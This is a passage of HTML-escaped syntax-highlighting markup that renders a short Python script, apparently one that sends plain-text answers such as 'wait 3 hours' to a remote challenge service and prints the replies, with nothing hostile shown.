z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;wait 3 hours&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;work in the basement&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sendline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-type z-python&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;me&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;recvline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-python&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;answer&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end 